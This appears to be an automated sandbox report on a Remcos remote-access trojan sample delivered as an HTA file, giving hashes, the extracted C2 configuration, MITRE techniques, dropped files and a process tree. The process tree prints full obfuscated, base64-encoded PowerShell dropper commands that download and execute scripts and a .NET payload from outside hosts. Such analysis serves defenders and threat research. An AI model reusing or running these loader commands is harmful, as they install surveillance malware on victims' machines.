remcos | 7a27c246967ee9e339939078beca4363d45d663aefb9c9b49fe891136b70e4ae

Analysis

max time kernel
149s
max time network
152s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250128-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
01-02-2025 16:46

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General

Target

7a27c246967ee9e339939078beca4363d45d663aefb9c9b49fe891136b70e4ae.hta
Size

15KB
MD5

91646dc944a9b144775945568f2acea3
SHA1

10b33643c23d1ed56a9702c16c030f851215fa2a
SHA256

7a27c246967ee9e339939078beca4363d45d663aefb9c9b49fe891136b70e4ae
SHA512

3a5e252523306c2bf0928987cd2bd1af6803995962424a2873caa965a5f4b7a90bbbe6128600c85889944a1bd297f27ec792ce3afb563ae0afc8d46e717e847c
SSDEEP

48:3PCAuD4bcMcMzn4bcM4ken2tsdz2BAvNupkfxRfvCFBlTEwQ4X4bcMeKdPG:/CVot4sdqBk0pcaW+

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

172.245.123.12:8690

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M39SJI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	784	powershell.exe
4	2452	powershell.exe
5	2452	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2856	cmd.exe
784	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2994328021-2832906384-2448483822-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2994328021-2832906384-2448483822-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2452 set thread context of 4124	2452	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
784	powershell.exe
784	powershell.exe
2452	powershell.exe
2452	powershell.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4124	CasPol.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	4312	taskmgr.exe
Token: SeSystemProfilePrivilege	4312	taskmgr.exe
Token: SeCreateGlobalPrivilege	4312	taskmgr.exe
Token: 33	4312	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4312	taskmgr.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe

Suspicious use of SendNotifyMessage 45 IoCs

pid	Process
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe
4312	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4124	CasPol.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2856	1956	mshta.exe	79
PID 1956 wrote to memory of 2856	1956	mshta.exe	79
PID 1956 wrote to memory of 2856	1956	mshta.exe	79
PID 2856 wrote to memory of 784	2856	cmd.exe	81
PID 2856 wrote to memory of 784	2856	cmd.exe	81
PID 2856 wrote to memory of 784	2856	cmd.exe	81
PID 784 wrote to memory of 2460	784	powershell.exe	82
PID 784 wrote to memory of 2460	784	powershell.exe	82
PID 784 wrote to memory of 2460	784	powershell.exe	82
PID 2460 wrote to memory of 2908	2460	csc.exe	83
PID 2460 wrote to memory of 2908	2460	csc.exe	83
PID 2460 wrote to memory of 2908	2460	csc.exe	83
PID 784 wrote to memory of 228	784	powershell.exe	84
PID 784 wrote to memory of 228	784	powershell.exe	84
PID 784 wrote to memory of 228	784	powershell.exe	84
PID 228 wrote to memory of 2452	228	WScript.exe	85
PID 228 wrote to memory of 2452	228	WScript.exe	85
PID 228 wrote to memory of 2452	228	WScript.exe	85
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87
PID 2452 wrote to memory of 4124	2452	powershell.exe	87

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\7a27c246967ee9e339939078beca4363d45d663aefb9c9b49fe891136b70e4ae.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c pOwErShEll.EXe -Ex BYpaSs -NOP -w 1 -c deViCeCREDENtiAldEPlOyMenT ; INvOKe-expreSsion($(iNVOKe-EXpResSIOn('[syStEm.TeXt.ENcoDinG]'+[chAR]0X3a+[char]0X3A+'utF8.gETsTRInG([sySTEM.CONVeRT]'+[CHar]58+[cHar]0X3a+'frOmBAsE64StRiNg('+[CHAr]34+'JFBkMSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CZXJERWZJbml0SU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZuTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDZVdwV3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT09vbWdGdXFULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZmssSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFmREQpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqUkRwemwiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVTUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFBkMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjg2Lzc0NC9uZXd0aGluZ3NhcmViZXR0ZXJ3YXl0b2dldG1lYmFja2dvb2R0aGluZ3NhbHdheXMuZ0lGIiwiJGVudjpBUFBEQVRBXG5ld3RoaW5nc2FyZWJldHRlcndheXRvZ2V0bWViYWNrZ29vZHRoaW5nc2Fsd2F5LnZicyIsMCwwKTtzdEFSdC1TTEVlUCgzKTtJbnZPa0UtRXhwckVTc2lPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmV3dGhpbmdzYXJlYmV0dGVyd2F5dG9nZXRtZWJhY2tnb29kdGhpbmdzYWx3YXkudmJzIg=='+[cHaR]0x22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOwErShEll.EXe -Ex BYpaSs -NOP -w 1 -c deViCeCREDENtiAldEPlOyMenT ; INvOKe-expreSsion($(iNVOKe-EXpResSIOn('[syStEm.TeXt.ENcoDinG]'+[chAR]0X3a+[char]0X3A+'utF8.gETsTRInG([sySTEM.CONVeRT]'+[CHar]58+[cHar]0X3a+'frOmBAsE64StRiNg('+[CHAr]34+'JFBkMSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CZXJERWZJbml0SU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZuTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDZVdwV3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT09vbWdGdXFULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZmssSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFmREQpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqUkRwemwiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVTUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFBkMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjg2Lzc0NC9uZXd0aGluZ3NhcmViZXR0ZXJ3YXl0b2dldG1lYmFja2dvb2R0aGluZ3NhbHdheXMuZ0lGIiwiJGVudjpBUFBEQVRBXG5ld3RoaW5nc2FyZWJldHRlcndheXRvZ2V0bWViYWNrZ29vZHRoaW5nc2Fsd2F5LnZicyIsMCwwKTtzdEFSdC1TTEVlUCgzKTtJbnZPa0UtRXhwckVTc2lPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmV3dGhpbmdzYXJlYmV0dGVyd2F5dG9nZXRtZWJhY2tnb29kdGhpbmdzYWx3YXkudmJzIg=='+[cHaR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:784
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pmsu00k0\pmsu00k0.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2460
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA7C9.tmp" "c:\Users\Admin\AppData\Local\Temp\pmsu00k0\CSC1F9CB6D1DC704CD8B177FE5FD5E5C0CF.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2908
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\newthingsarebetterwaytogetmebackgoodthingsalway.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:228
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AYQB3AGcAbgBpAGgAdAB5AHIAZQB2AGUAcgBvAGYAZABvAG8AZwBlAGgAcwAvADQANAA3AC8ANgA4AC4AMwAyADEALgA1ADQAMgAuADIANwAxAC8ALwA6AHAAdAB0AGgAJwA7ACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQAIAA9ACAAJABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAaQBtAGEAZwBlAFUAcgBsACAAPQAgACcAaAB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABhAHgAdwB1AGEANgAzAHkALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADMANwA2ADkANgAxADcAMQAvAGgAZQBrAGUAMgBwAG0AdABlAHUAdwA4AHMAcQBzAHAAbABoAGsAbAAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbQBhAGkAbgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwBmAGEAbABzAGUAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAZgBhAGwAcwBlACcAKQApAA==')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2452
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:4124

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
180B

MD5
b31162eedb6d473eb66bc2880e0ad358

SHA1
f6d8b3ff7c0c2d0fe0a66b7269a59b618bd3b076

SHA256
dc156a5a03c9aaf084a624b41177b8674e05f69d02ce06add2bdc71f1471fa6e

SHA512
9207930ec36c00b577efcfdeadc27286d21eb7bd35f3776ea5f35fe64b24cfde1087b87b051c3a5b2926a17d9666c25045e4c7ef78f88f27b7688c823c2b862e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c76d197161c792962a761c2355cee43

SHA1
23c15e482cc7aaae05e583f18eeb9c35d0dfa4d5

SHA256
751c46fdbbe8b95a652a711aa06bbf03194c74f5654ecfea65c63ff87622baca

SHA512
911c9d6b31b8c527002378c32a12cb97ba4eb211ae7c59820319fbdb059ec26880328b1b191e9005f46c2a31e9ec4a8551d9e45c2d6a46417d16333d1776f055

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
d3e6528700284b1b98a9a197c3e8352f

SHA1
a113238d13bccbeb740c48e0123751b752c1a41d

SHA256
065b438adb3374251021076f8b003e2319c9f474ccd9119d839e1c746d59603c

SHA512
a625b8ff1662f876fa802e1c7f1435825a34bca3fee840ff42ee1a83e1894432ebbc3c51582f3e554dfa173d9fcae387e6c966f0594e49adc3f7506cd7844d90

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA7C9.tmp

Filesize
1KB

MD5
4a91df3208b8d5d92d83734fb5f8d5ce

SHA1
94314a3223a1ea98f1db2928766ab8a26f70d1b8

SHA256
18a7a9a37ae8a1ba929586ffe5a2548d45c35df0c8a2741d2f9c45cac0900324

SHA512
85d17cb73d6abee5c5fe7e3fd3a56733b5e324f09688c0735c0ff814c120a93b1c009b0f69d223473f698ee29ee44b2de28f725e321dc43f0e0bbb1ba97ebbbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uq4ovqcm.uae.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pmsu00k0\pmsu00k0.dll

Filesize
3KB

MD5
2baad99e393d78805b9cb7d25169b16b

SHA1
d1eeb9baf604033222bc25462e0597f3dac3b24c

SHA256
082ae40a6d98a5bb946863a2d0177c8f07b5e65145e677a9f2a9ca4a34bb20a0

SHA512
e6f5f5bd226b7303867aa2398eb3a49387b677863a1dabffbbc3c41d2c55aba33fcd697c1da6e3ac64b40d07818519b5480e6b272c06b88f34b4acf8b4e2e281

Download Submit
C:\Users\Admin\AppData\Roaming\newthingsarebetterwaytogetmebackgoodthingsalway.vbs

Filesize
223KB

MD5
89fcf06221c1830a49699337619dede8

SHA1
271b9e22164d51304be579097a14b63b49b6779e

SHA256
535ce1889084523a7a1c04a570ca2000b924d5289cd1276146665c531ee2157e

SHA512
4842ee71b17d3848ec0517c3953eaae90ed0f9ac8249f20306c891e3954021dc648c97ac9bf2c2cea58df669fd492e922300bb229fcacefadedee30d72a733e4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\pmsu00k0\CSC1F9CB6D1DC704CD8B177FE5FD5E5C0CF.TMP

Filesize
652B

MD5
9b1a2e2f030dcd8e638a3451663b2a88

SHA1
84a167926e4a98d2c51276911c263b7d640400f8

SHA256
d440b1d0ec2156049f538ef6c82effa74ae4313d07efa6c59573fe839b71487b

SHA512
41550923cb86fc3b66f159dcb487faaa139fe8ac2f89c071cede84ac375f4d58b15572810bcdfd1abfd5687564c7d807b44c6d2c12b55d8d60b310efbf4ae59a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\pmsu00k0\pmsu00k0.0.cs

Filesize
466B

MD5
255c71170d7a96f4371816ea477745d5

SHA1
945c5a56ca2eced03c95d864876c30cbe8cc5e1b

SHA256
038969e25a28b8206b3a16c9b2ee846f9d55c8a2c4e5e12be7e0dc7f6e2a8a75

SHA512
e0972176b389e3689c22d3db51b16d4f3fc5f1015bab41e735f39f1ffa7de8660d61fe666ddc2c96430800d7508a23f150e17fb87f938359fcfe20474f9f3ab1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\pmsu00k0\pmsu00k0.cmdline

Filesize
369B

MD5
7681fc920a61942b3548177e2deea325

SHA1
edc658c46bd1e19420a65089025726c9f55c5e40

SHA256
d676c8062a246e33e4471614034b1ee6776930bdb6b7d48019e1a251511404b6

SHA512
9b1033409723bb561bf12870c8e25a7a6c5fc079b92fde045568410f3454a034dcaa14eb15ed777a117e2a429597c82e9ab81eeeb0a01959547a9f414e3751b1

Download Submit
memory/784-35-0x0000000007DD0000-0x000000000844A000-memory.dmp

Filesize
6.5MB

Download
memory/784-3-0x00000000055B0000-0x0000000005C7A000-memory.dmp

Filesize
6.8MB

Download
memory/784-7-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/784-17-0x0000000005E10000-0x0000000006167000-memory.dmp

Filesize
3.3MB

Download
memory/784-18-0x00000000063D0000-0x00000000063EE000-memory.dmp

Filesize
120KB

Download
memory/784-19-0x0000000006420000-0x000000000646C000-memory.dmp

Filesize
304KB

Download
memory/784-20-0x0000000007580000-0x00000000075B2000-memory.dmp

Filesize
200KB

